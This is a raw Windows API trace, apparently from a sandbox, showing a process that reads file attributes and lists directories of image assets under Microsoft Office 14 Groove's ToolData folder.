	[0052.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274ee68 | out: lpFileInformation=0x1274ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79)) returned 1
	[0052.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274eeb8 | out: lpFileInformation=0x1274eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70)) returned 1
	[0052.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274ef08 | out: lpFileInformation=0x1274ef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d)) returned 1
	[0052.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274ef58 | out: lpFileInformation=0x1274ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274efa8 | out: lpFileInformation=0x1274efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de)) returned 1
	[0052.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274eff8 | out: lpFileInformation=0x1274eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f048 | out: lpFileInformation=0x1274f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca)) returned 1
	[0052.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f098 | out: lpFileInformation=0x1274f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f0e8 | out: lpFileInformation=0x1274f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de)) returned 1
	[0052.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f138 | out: lpFileInformation=0x1274f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f188 | out: lpFileInformation=0x1274f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78)) returned 1
	[0052.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f1d8 | out: lpFileInformation=0x1274f1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f228 | out: lpFileInformation=0x1274f228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256)) returned 1
	[0052.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f278 | out: lpFileInformation=0x1274f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8)) returned 1
	[0052.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f2c8 | out: lpFileInformation=0x1274f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
	[0052.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f318 | out: lpFileInformation=0x1274f318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f368 | out: lpFileInformation=0x1274f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f3b8 | out: lpFileInformation=0x1274f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f408 | out: lpFileInformation=0x1274f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f458 | out: lpFileInformation=0x1274f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f4a8 | out: lpFileInformation=0x1274f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798)) returned 1
	[0052.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f4f8 | out: lpFileInformation=0x1274f4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1
	[0052.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f548 | out: lpFileInformation=0x1274f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec)) returned 1
	[0052.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f598 | out: lpFileInformation=0x1274f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98fc100, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98fc100, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe)) returned 1
	[0052.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f5e8 | out: lpFileInformation=0x1274f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4)) returned 1
	[0052.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), fInfoLevelId=0x0, lpFileInformation=0x1274f638 | out: lpFileInformation=0x1274f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1
	[0052.578] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 1
	[0052.578] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.578] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f728 | out: lpFileInformation=0x1274f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b)) returned 1
	[0052.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f778 | out: lpFileInformation=0x1274f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), fInfoLevelId=0x0, lpFileInformation=0x1274f7c8 | out: lpFileInformation=0x1274f7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1
